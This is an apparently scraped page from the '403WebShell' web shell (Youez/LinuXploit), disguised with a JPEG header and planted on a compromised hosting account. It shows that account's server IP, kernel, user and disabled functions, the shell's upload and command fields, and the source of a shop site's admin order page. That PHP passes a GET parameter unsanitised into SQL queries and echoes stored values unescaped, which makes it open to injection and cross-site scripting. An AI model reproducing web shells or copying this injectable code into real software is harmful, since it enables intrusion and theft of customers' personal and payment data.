���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/admin//order_details.php
<?php include '../action/check-login.php'; include '../action/config.php'; 

$id = $_GET['id'];
$qry = mysqli_query($con,"SELECT * FROM `orders` WHERE id='$id'");
$r=mysqli_fetch_array($qry);

$userid = $r['userid'];
$name = $r['name'];
$email = $r['email'];
$phone = $r['phone'];
$alternate = $r['alternate'];
$address1 = $r['address1'];
$address2 = $r['address2'];
$city = $r['city'];
$state = $r['state'];
$pin = $r['pin'];
$order_type = $r['order_type'];
$order_date = $r['order_date'];
$items = $r['items'];
$grand_total = $r['grand_total'];
$payment_status = $r['payment_status'];
$order_status = $r['order_status'];
$txnid = $r['txnid'];

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <title>Admin | जीवनदायिनी जीविका गौसेवा सदन</title>
    <link href="css/styles.css" rel="stylesheet" />
    <link href="https://cdn.datatables.net/1.10.20/css/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js" crossorigin="anonymous"></script>
    <link rel="shortcut icon" href="../images/logo3.png" />
    <style>
        #blink {
        	font-weight: bold;
            color: #007bff;
            transition: 0.5s;
        }
    </style>
</head>
<body class="sb-nav-fixed">
    <?php include 'sidebar_menu.php'; ?>

<main>
	<div class="container-fluid">
	    <ol class="breadcrumb mb-4 mt-2">
	        <li class="breadcrumb-item font-weight-bold">Order Details</li>
	    </ol>
	    
		<!--<div class="card" id="blink">-->
            <!--<h3 class="text-center">Page Under Construction</h3>-->
		<!--</div>-->

		<div class="row">
		    <div class="col-md-6">
		        <div class="card card-body">
		            <b><u>Shipping Address</u></b>
		            Name: <?php echo $name; ?><br>
		            Address1: <?php echo $address1; ?><br>
		            Address2: <?php echo $address2; ?><br>
		            City: <?php echo $city; ?><br>
		            State: <?php echo $state; ?><br>
		            Pin: <?php echo $pin; ?><br>
		            Phone: <?php echo $phone; ?>
		        </div>
		    </div>
		    <div class="col-md-6">
		        <div class="card card-body">
		            <b><u>Order Status</u></b>
		            Order Type: <?php echo $order_type; ?><br>
		            Order Date: <?php echo $order_date; ?><br>
		            Total Amount: <?php echo $grand_total; ?><br>
		            Payment Status: <?php echo $payment_status; ?><br>
		            Order Status: <?php echo $order_status; ?><br>
		            Transaction Id: <?php echo $txnid; ?><br><br>
		        </div>
		    </div>
		    
		    <div class="col-md-12">
		        <div class="card card-body">
		            <h5 class="font-weight-bold"><u>Product Details</u></h5>
		            <table class="table">
		                <tr>
		                    <th>#</th>
		                    <th>Image</th>
		                    <th>Name</th>
		                    <th>Qty</th>
		                    <th>Price</th>
		                    <th>Total</th>
		                </tr>
		                <?php
		                $i=0;
		                $qry1 = mysqli_query($con,"SELECT * FROM `sales_item` WHERE order_id='$id'");
		                while($r1=mysqli_fetch_array($qry1)){
		                    $i++;
		                    ?>
		                    <tr>
    		                    <td><?php echo $i; ?></td>
    		                    <td><img width="80" src="assets/img/<?php echo $r1['img1'] ?>"></td>
    		                    <td><?php echo $r1['pname']; ?></td>
    		                    <td><?php echo $r1['quantity']; ?></td>
    		                    <td><?php echo $r1['price']; ?></td>
    		                    <td><?php echo $r1['quantity']*$r1['price'].'.00'; ?></td>
    		                </tr>
		                    
		                    <?php
		                    $subtotal += $r1['quantity']*$r1['price'];
		                }
		                ?>
		                <tr>
		                    <td colspan="3">SubTotal</td>
		                    <td colspan="2"></td>
		                    <td><i class="fas fa-rupee-sign"></i> <?php echo $subtotal.'.00'; ?></td>
		                </tr>
		                <?php
		                $dis = $subtotal-$grand_total;
		                if($dis>0){
		                ?>
		                <tr>
		                    <td colspan="4">Discount / Promo Code / Shopping Points (-)</td><td></td>
		                    <td><i class="fas fa-rupee-sign"></i> <?php echo $dis.'.00'; ?></td>
		                </tr>
		                <?php } ?>
		                <?php
		                if($subtotal<1000){
		                ?>
		                <!--<tr>-->
		                <!--    <td colspan="4">Shipping Charge (+)</td><td></td>-->
		                <!--    <td><i class="fas fa-rupee-sign"></i> <?php echo '50.00' ; ?></td>-->
		                <!--</tr>-->
		                <?php } ?>
		                
		                <!--<tr>-->
		                <!--    <td colspan="4">Grand Total</td>-->
		                <!--    <td></td>-->
		                <!--    <td><i class="fas fa-rupee-sign"></i> <?php echo $grand_total; ?></td>-->
		                <!--</tr>-->
		            </table>
		        </div>
		    </div>
		</div>
		<br><br>
		<div class="text-center no-print">
		    <button class="btn btn-primary btn-sm" onclick="window.print()">Print</button>
		</div>

	</div>
</main>

    <?php include 'footer.php'; ?>

    <script type="text/javascript">
        var blink = document.getElementById('blink');
        setInterval(function() {
            blink.style.opacity = (blink.style.opacity == 0 ? 1 : 0);
        }, 700);
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit